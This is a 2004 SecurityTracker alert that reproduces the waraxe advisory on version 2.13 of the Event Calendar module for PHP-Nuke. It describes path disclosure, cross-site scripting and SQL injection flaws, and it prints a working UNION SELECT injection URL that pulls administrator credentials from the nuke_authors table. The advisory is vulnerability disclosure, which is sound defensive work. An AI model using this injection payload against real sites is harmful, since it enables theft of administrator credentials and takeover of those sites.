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Category:   Application (Calendar)  >   Event Calendar (PHP-Nuke Module) Vendors:   holbrookau.net
Event Calendar Input Validation Holes Let Remote Users Inject SQL Commands
SecurityTracker Alert ID:  1012245
SecurityTracker URL:  http://securitytracker.com/id/1012245
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Nov 16 2004
Impact:   Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  
Version(s): 2.13
Description:   Some vulnerabilities were reported in Event Calendar. A remote user can inject SQL commands. A remote user can conduct cross-site scripting attacks. A remote user can determine the installation path.

Janek Vind "waraxe" reported that the software does not properly validate user-supplied input, allowing SQL injection and cross-site scripting attacks.

A remote user can supply specially crafted input in the 'edi' variable to execute SQL commands on the underlying database. A demonstration exploit URL is provided:

http://[target]/nuke73/modules.php?name=Calendar&file=index&type=view&eid=-99%20UNION%20ALL%20SELECT
%201,1,aid,1,pwd,1,1,1,1,1,1,1,1,1,1%20FROM%20nuke_authors%20WHERE%20radminsuper=1

A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Event Calendar software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit URLs are provided:

http://[target]/nuke73/modules.php?name=Calendar&file=submit&type=[xss code here]
http://[target]/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&day=[xss code here]
http://[target]/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&month=[xss code here]
http://[target]/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&year=[xss code here]
http://[target]/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&type=[xss code here]

It is also reported that calendar event comments are not filtered.

It is reported that a remote user can supply the following types of URLs to cause the system to display the installation path:

http://[target]/nuke73/modules/Calendar/config.php

http://[target]/nuke73/modules/Calendar/index.php

http://localhost/nuke73/modules/Calendar/submit.php

The vendor was notified on September 6, 2004.

Impact:   A remote user can execute SQL commands on the underlying database.

A remote user can determine the installation database.

A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Event Calendar software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Solution:   No solution was available at the time of this entry.
Vendor URL:  phpnuke.holbrookau.net/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [waraxe-2004-SA#038 - Multiple vulnerabilities in Event Calendar






{================================================================================}
{                              [waraxe-2004-SA#038]                              }
{================================================================================}
{                                                                                }
{         [ Multiple vulnerabilities in Event Calendar module for PhpNuke ]      }
{                                                                                }
{================================================================================}
                                                                                                                                
Author: Janek Vind "waraxe"
Date: 17. November 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=38


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Module's Name: Event Calendar
Module's Version: 2.13 - March 16th, 2004
Module's Description: Provides an event calendar for PHP-Nuke communities.
License: GNU/GPL
Author's Name: Original author - Rob Sutton. Development continued by Holbrookau.
Author's Email: phpnuke@holbrookau.net

Event Calendar - a module for PHP-Nuke.
Based on version 1.5 by Rob Sutton, the Event Calendar found here is much updated
and features many improvments and add-ons. For example, the administration area features
configuration via a graphical interface, posting of events can be moderated and users even
have the option of adding comments to any event.

Homepage: http://phpnuke.holbrookau.net/


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This piece of sowtware has many security related flaws due to poor user-submitted data
handling. 


A - Full Path Disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - full path disclosure in "config.php":

http://localhost/nuke73/modules/Calendar/config.php

Warning: main(modules/Calendar/configset.php): failed to open stream: No such file or directory in D:\apache_wwwroot\nuke73\modules\Calendar\config.php
 on line 11
Warning: main(): Failed opening 'modules/Calendar/configset.php' for inclusion (include_path='.;c:\php4\pear') in D:\apache_wwwroot\nuke73\modules\Calendar\config.php
 on line 11
Warning: main(mainfile.php): failed to open stream: No such file or directory in D:\apache_wwwroot\nuke73\modules\Calendar\config.php
 on line 14
Warning: main(): Failed opening 'mainfile.php' for inclusion (include_path='.;c:\php4\pear') in D:\apache_wwwroot\nuke73\modules\Calendar\config.php
 on line 14
Warning: main(modules//language/lang-english.php): failed to open stream: No such file or directory in D:\apache_wwwroot\nuke73\modules\Calendar\config.php
 on line 19
Warning: main(): Failed opening 'modules//language/lang-english.php' for inclusion (include_path='.;c:\php4\pear') in D:\apache_wwwroot\nuke73\modules\Calendar\config.php
 on line 19


A2, A3 - full path disclosure in "index.php" and "submit.php":

http://localhost/nuke73/modules/Calendar/index.php
http://localhost/nuke73/modules/Calendar/submit.php


B - XSS aka cross site scripting:

Examples:

http://localhost/nuke73/modules.php?name=Calendar&file=submit&type=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&day=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&month=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&year=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&type=[xss code here]


C - script injection in calendar event comments:

It's serious bug - anyone can insert javascript exploit code to event comments
and if user or admin will read it, javascript will trigger and bad things can
happen - like cookie theft, arbitrary admin operations, etc.


D - critical sql injection bugs in code:

If we take a deep look at source code, then there can be found multiple sql queries,
where some variables, mostly "$eid" and "$cid" ARE NOT surrounded with single quotes.
Therefore sql injection is possible. Further exploitation will depend on database 
software and version. In case of the mysql version 4.x with UNION functionality enabled,
arbitrary data can be retrieved from database, inluding admin(s) authentication credentials.
As tradition, there is proof of concept:

----------------[ real life exploit ]---------------

http://localhost/nuke73/modules.php?name=Calendar&file=index&type=view&eid=-99%20UNION%20ALL%20SELECT
%201,1,aid,1,pwd,1,1,1,1,1,1,1,1,1,1%20FROM%20nuke_authors%20WHERE%20radminsuper=1

----------------[/real life exploit ]---------------


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vendor contacted: 06. September 2004
Vendor responded: 06. September 2004
Detailed list of problems sent to vendor: 08. September 2004

Since then no more response from software developer and downloadable version
still unpatched.

For help with patching look @ here - http://www.waraxe.us/forums.html


Additional recources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Free proxy lists - http://www.waraxe.us/forum/viewforum.php?f=21
Base64 online tool - http://base64-encoder-online.waraxe.us/base64/base64-encoder.php


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna, icenix, g0df4th3r and slimjim100!
Tervitused - Heintz ja Maku!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe@yahoo.com
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------

 
 


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